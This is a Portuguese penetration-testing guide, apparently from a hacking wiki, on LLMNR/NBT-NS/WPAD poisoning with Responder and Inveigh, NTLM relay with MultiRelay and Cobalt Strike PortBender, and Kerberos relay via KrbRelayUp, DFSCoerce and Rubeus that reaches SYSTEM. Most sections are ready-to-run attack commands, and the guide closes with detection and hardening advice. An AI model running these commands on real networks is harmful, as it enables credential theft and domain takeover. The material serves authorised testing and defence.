Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Ataques de Relay

Reading time: 12 minutes

Protocolos de Rede

Protocolos de Resolução de Host Local

• LLMNR, NBT-NS e mDNS:
• Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes local quando o DNS falha. Da mesma forma, sistemas Apple e Linux usam mDNS.
• Esses protocolos são suscetíveis a interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
• Responder pode ser usado para impersonar serviços enviando respostas forjadas para hosts que consultam esses protocolos.
• Mais informações sobre a impersonação de serviços usando Responder podem ser encontradas aqui.

Protocolo de Descoberta Automática de Proxy Web (WPAD)

• WPAD permite que navegadores descubram configurações de proxy automaticamente.
• A descoberta é facilitada via DHCP, DNS ou fallback para LLMNR e NBT-NS se o DNS falhar.
• Responder pode automatizar ataques WPAD, direcionando clientes para servidores WPAD maliciosos.

Responder para Envenenamento de Protocolo

• Responder é uma ferramenta usada para envenenar consultas LLMNR, NBT-NS e mDNS, respondendo seletivamente com base nos tipos de consulta, visando principalmente serviços SMB.
• Vem pré-instalado no Kali Linux, configurável em /etc/responder/Responder.conf.
• Responder exibe hashes capturados na tela e os salva no diretório /usr/share/responder/logs.
• Suporta tanto IPv4 quanto IPv6.
• A versão do Windows do Responder está disponível aqui.

Executando o Responder

• Para executar o Responder com configurações padrão: responder -I <Interface>
• Para sondagem mais agressiva (com potenciais efeitos colaterais): responder -I <Interface> -P -r -v
• Técnicas para capturar desafios/respostas NTLMv1 para facilitar a quebra: responder -I <Interface> --lm --disable-ess
• A impersonação WPAD pode ser ativada com: responder -I <Interface> --wpad
• Solicitações NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado: responder.py -I <interface> -Pv

Envenenamento DHCP com Responder

• Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais discreta ao envenenamento ARP.
• Requer conhecimento preciso da configuração da rede alvo.
• Executando o ataque: ./Responder.py -I eth0 -Pdv
• Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar interrupções na rede.

Capturando Credenciais com Responder

• Responder irá impersonar serviços usando os protocolos mencionados acima, capturando credenciais (geralmente NTLMv2 Challenge/Response) quando um usuário tenta se autenticar contra os serviços forjados.
• Tentativas podem ser feitas para rebaixar para NetNTLMv1 ou desativar ESS para facilitar a quebra de credenciais.

É crucial notar que a utilização dessas técnicas deve ser feita legal e eticamente, garantindo a devida autorização e evitando interrupções ou acessos não autorizados.

Inveigh

Inveigh é uma ferramenta para testadores de penetração e equipes vermelhas, projetada para sistemas Windows. Oferece funcionalidades semelhantes ao Responder, realizando spoofing e ataques man-in-the-middle. A ferramenta evoluiu de um script PowerShell para um binário C#, com Inveigh e InveighZero como as principais versões. Parâmetros detalhados e instruções podem ser encontrados na wiki.

Inveigh pode ser operado através do PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou executado como um binário C#:

Inveigh.exe

NTLM Relay Attack

Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os principais pré-requisitos incluem:

• O usuário autenticado deve ter acesso de Admin Local no host retransmitido.
• A assinatura SMB deve estar desativada.

445 Port Forwarding and Tunneling

Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser redirecionado e tunelado. Ferramentas como PortBender ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de admin local está disponível para carregamento de driver.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Outras Ferramentas para Ataque de Relay NTLM

• Metasploit: Configurado com proxies, detalhes de hosts locais e remotos.
• smbrelayx: Um script em Python para relatar sessões SMB e executar comandos ou implantar backdoors.
• MultiRelay: Uma ferramenta do conjunto Responder para relatar usuários específicos ou todos os usuários, executar comandos ou despejar hashes.

Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se necessário, permitindo ataques mesmo com acesso indireto à rede.

Operação do MultiRelay

MultiRelay é executado a partir do /usr/share/responder/tools diretório, visando IPs ou usuários específicos.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Essas ferramentas e técnicas formam um conjunto abrangente para conduzir ataques de NTLM Relay em vários ambientes de rede.

Forçar Logins NTLM

No Windows, você pode ser capaz de forçar algumas contas privilegiadas a se autenticar em máquinas arbitrárias. Leia a página a seguir para aprender como:

Force NTLM Privileged Authentication

Ataque de Relay Kerberos

Um ataque de relay Kerberos rouba um ticket AP-REQ de um serviço e o reutiliza contra um segundo serviço que compartilha a mesma chave de conta de computador (porque ambos os SPNs estão na mesma conta de máquina $). Isso funciona mesmo que as classes de serviço dos SPNs diferem (por exemplo, CIFS/ → LDAP/) porque a chave que descriptografa o ticket é o hash NT da máquina, não a string SPN em si, e a string SPN não faz parte da assinatura.

Ao contrário do relay NTLM, o salto é limitado ao mesmo host, mas, se você direcionar um protocolo que permite escrever no LDAP, pode encadear em Delegação Constrangida Baseada em Recurso (RBCD) ou inscrição AD CS e comprometer NT AUTHORITY\SYSTEM em um único golpe.

Para informações detalhadas sobre este ataque, verifique:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Noções básicas sobre Kerberos

• Os tickets são criptografados com a chave derivada da senha da conta que possui o SPN.
• O Autenticador dentro do AP-REQ tem um timestamp de 5 minutos; a reprodução dentro dessa janela é válida até que o cache do serviço veja um duplicado.
• O Windows raramente verifica se a string SPN no ticket corresponde ao serviço que você acessa, então um ticket para CIFS/HOST normalmente descriptografa bem em LDAP/HOST.

• 2. O que deve ser verdade para relatar Kerberos

1. Chave compartilhada: SPNs de origem e destino pertencem à mesma conta de computador (padrão em servidores Windows).
2. Sem proteção de canal: SMB/LDAP desativado e EPA desativado para HTTP/LDAPS.
3. Você pode interceptar ou coagir a autenticação: envenenamento LLMNR/NBNS, spoofing DNS, PetitPotam / DFSCoerce RPC, AuthIP falso, DCOM malicioso, etc.
4. Fonte do ticket não utilizada: você vence a corrida antes que o pacote real chegue ou bloqueia completamente; caso contrário, o cache de reprodução do servidor dispara o Evento 4649.
5. Você precisa de alguma forma ser capaz de realizar um MitM na comunicação, talvez fazendo parte do grupo DNSAmins para modificar o DNS do domínio ou sendo capaz de alterar o arquivo HOST da vítima.

Etapas do Relay Kerberos

• 3.1 Reconhecer o host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Inicie o ouvinte de relay

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp envolve KrbRelay → LDAP → RBCD → Rubeus → bypass do SCM em um único binário.

• 3.3 Forçar autenticação Kerberos

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce faz com que o DC envie um ticket Kerberos CIFS/DC01 para nós.

• 3.4 Revezar o AP-REQ

KrbRelay extrai o blob GSS do SMB, o reorganiza em um bind LDAP e o encaminha para ldap://DC01—a autenticação é bem-sucedida porque a mesma chave o descriptografa.

• 3.5 Abusar LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Você agora possui NT AUTHORITY\SYSTEM.

Mais caminhos que vale a pena conhecer

Solução de Problemas

Detecção

• Aumento em Evento 4769 para CIFS/, HTTP/, LDAP/ da mesma fonte em segundos.
• Evento 4649 no serviço indica replay detectado.
• Logon Kerberos de 127.0.0.1 (revezar para SCM local) é altamente suspeito—mapear via regra Sigma na documentação do KrbRelayUp.
• Monitorar mudanças nos atributos msDS-AllowedToActOnBehalfOfOtherIdentity ou msDS-KeyCredentialLink.

Fortalecimento

1. Impor assinatura LDAP e SMB + EPA em todos os servidores.
2. Dividir SPNs para que HTTP não esteja na mesma conta que CIFS/LDAP.
3. Corrigir vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
4. Definir ms-DS-MachineAccountQuota = 0 para impedir junções de computadores indesejados.
5. Alertar sobre Evento 4649 e logons Kerberos de loopback inesperados.

Referências

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html